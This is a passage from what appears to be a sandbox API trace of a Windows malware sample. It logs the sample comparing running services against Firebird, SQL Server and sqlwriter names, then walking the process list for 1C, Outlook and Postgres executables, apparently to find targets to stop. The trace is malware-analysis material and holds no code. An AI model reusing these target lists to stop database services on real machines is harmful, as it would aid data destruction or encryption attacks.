(lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0062.009] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0062.009] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0062.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0062.009] lstrlenW (lpString="DcomLaunch") returned 10 [0062.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0062.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0062.009] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0062.009] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0062.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0062.009] lstrlenW (lpString="Dhcp") returned 4 [0062.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0062.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0062.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0062.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0062.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0062.009] lstrlenW (lpString="Dnscache") returned 8 [0062.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0062.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0062.010] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0062.010] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0062.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0062.010] lstrlenW (lpString="DPS") returned 3 [0062.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0062.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0062.010] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0062.010] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0062.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0062.010] lstrlenW (lpString="eventlog") returned 8 [0062.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0062.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0062.010] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0062.010] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0062.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0062.010] lstrlenW (lpString="EventSystem") returned 11 [0062.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0062.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0062.010] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0062.011] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0062.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0062.011] lstrlenW (lpString="FontCache") returned 9 [0062.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0062.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0062.011] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0062.011] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0062.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0062.011] lstrlenW (lpString="gpsvc") returned 5 [0062.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0062.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0062.011] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0062.011] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0062.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0062.011] lstrlenW (lpString="iphlpsvc") returned 8 [0062.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0062.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0062.011] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0062.011] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0062.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0062.012] lstrlenW (lpString="LanmanServer") returned 12 [0062.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0062.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0062.012] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0062.012] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0062.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0062.012] lstrlenW (lpString="LanmanWorkstation") returned 17 [0062.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0062.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0062.012] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0062.012] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0062.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0062.012] lstrlenW (lpString="lmhosts") returned 7 [0062.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0062.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0062.012] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0062.012] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0062.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0062.012] lstrlenW (lpString="MMCSS") returned 5 [0062.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0062.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0062.012] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0062.013] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0062.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0062.013] lstrlenW (lpString="MpsSvc") returned 6 [0062.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0062.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0062.013] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0062.013] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0062.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0062.013] lstrlenW (lpString="Netman") returned 6 [0062.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0062.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0062.013] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0062.013] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0062.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0062.013] lstrlenW (lpString="netprofm") returned 8 [0062.013] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0062.013] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0062.013] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0062.013] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0062.013] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0062.013] lstrlenW (lpString="NlaSvc") returned 6 [0062.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0062.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0062.014] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0062.014] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0062.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0062.014] lstrlenW (lpString="nsi") returned 3 [0062.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0062.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0062.014] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0062.014] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0062.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0062.014] lstrlenW (lpString="PcaSvc") returned 6 [0062.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0062.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0062.014] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0062.014] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0062.014] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0062.014] lstrlenW (lpString="PlugPlay") returned 8 [0062.014] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0062.014] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0062.014] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0062.014] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0062.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0062.015] lstrlenW (lpString="Power") returned 5 [0062.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0062.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0062.015] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0062.015] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0062.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0062.015] lstrlenW (lpString="ProfSvc") returned 7 [0062.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0062.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0062.015] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0062.015] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0062.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0062.015] lstrlenW (lpString="RpcEptMapper") returned 12 [0062.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0062.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0062.015] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0062.015] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0062.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0062.015] lstrlenW (lpString="RpcSs") returned 5 [0062.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0062.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0062.016] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0062.016] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0062.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0062.016] lstrlenW (lpString="SamSs") returned 5 [0062.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0062.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0062.016] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0062.016] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0062.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0062.016] lstrlenW (lpString="Schedule") returned 8 [0062.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0062.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0062.016] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0062.016] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0062.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0062.016] lstrlenW (lpString="SENS") returned 4 [0062.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0062.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0062.016] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0062.016] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0062.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0062.016] lstrlenW (lpString="ShellHWDetection") returned 16 [0062.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0062.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0062.017] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0062.017] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0062.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0062.017] lstrlenW (lpString="Spooler") returned 7 [0062.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0062.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0062.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0062.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0062.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0062.017] lstrlenW (lpString="sppsvc") returned 6 [0062.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0062.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0062.017] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0062.017] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0062.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0062.017] lstrlenW (lpString="swprv") returned 5 [0062.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0062.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0062.017] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0062.017] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0062.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0062.018] lstrlenW (lpString="SysMain") returned 7 [0062.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0062.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0062.018] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0062.018] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0062.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0062.018] lstrlenW (lpString="Themes") returned 6 [0062.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0062.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0062.018] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0062.018] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0062.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0062.018] lstrlenW (lpString="TrkWks") returned 6 [0062.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0062.018] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0062.018] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0062.018] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0062.018] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0062.018] lstrlenW (lpString="UxSms") returned 5 [0062.018] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0062.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0062.019] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0062.019] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0062.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0062.019] lstrlenW (lpString="VSS") returned 3 [0062.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0062.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0062.019] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0062.019] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0062.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0062.019] lstrlenW (lpString="WdiServiceHost") returned 14 [0062.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0062.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0062.019] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0062.019] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0062.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0062.019] lstrlenW (lpString="WdiSystemHost") returned 13 [0062.019] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0062.019] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0062.019] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0062.019] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0062.019] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0062.019] lstrlenW (lpString="WinDefend") returned 9 [0062.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0062.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0062.020] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0062.020] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0062.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0062.020] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0062.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0062.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0062.020] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0062.020] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0062.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0062.020] lstrlenW (lpString="Winmgmt") returned 7 [0062.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0062.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0062.020] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0062.020] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0062.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0062.020] lstrlenW (lpString="wscsvc") returned 6 [0062.020] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0062.020] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0062.020] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0062.020] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0062.020] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0062.020] lstrlenW (lpString="wuauserv") returned 8 [0062.021] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0062.021] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0062.021] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0062.021] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0062.021] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0062.021] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3fb5888 | out: hHeap=0x5c0000) returned 1 [0062.021] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f0 [0062.026] Process32FirstW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0062.027] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0062.028] lstrlenW (lpString="System") returned 6 [0062.028] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0062.028] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0062.028] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0062.028] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0062.029] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0062.029] lstrlenW (lpString="smss.exe") returned 8 [0062.030] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.030] lstrlenW (lpString="csrss.exe") returned 9 [0062.031] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0062.031] lstrlenW (lpString="wininit.exe") returned 11 [0062.031] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.032] lstrlenW (lpString="csrss.exe") returned 9 [0062.032] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0062.033] lstrlenW (lpString="winlogon.exe") returned 12 [0062.033] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0062.034] lstrlenW (lpString="services.exe") returned 12 [0062.034] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0062.035] lstrlenW (lpString="lsass.exe") returned 9 [0062.035] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0062.036] lstrlenW (lpString="lsm.exe") returned 7 [0062.036] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.037] lstrlenW (lpString="svchost.exe") returned 11 [0062.037] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.038] lstrlenW (lpString="svchost.exe") returned 11 [0062.038] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.039] lstrlenW (lpString="svchost.exe") returned 11 [0062.039] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.406] lstrlenW (lpString="svchost.exe") returned 11 [0062.406] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.408] lstrlenW (lpString="svchost.exe") returned 11 [0062.408] Process32NextW (in: hSnapshot=0x1f0, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, 